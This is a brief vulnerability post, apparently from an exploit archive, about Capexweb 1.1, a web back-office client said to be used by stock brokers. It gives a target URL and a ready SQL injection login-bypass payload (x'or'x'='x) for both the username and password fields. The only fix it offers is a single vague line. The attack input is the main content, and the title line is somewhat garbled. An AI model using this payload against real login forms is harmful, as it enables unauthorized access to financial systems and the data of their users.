Capexweb universal password-vulnerability warning-the black bar safety net

Title: Capexweb Sql Vulnerable

Author: D1rt3 Dud3

Affected version: 1.1

A description of the problem:

Capexweb is a Web based Backoffice client used by leading Stock Exchanges like Berkeley Gains, angle broking house etc.

http://www.badguest.cn /capexweb/capexweb/

Log in details:

Username: x’or’x’='x

Password: x’or’x’='x

Fix:

To strengthen the authentication filter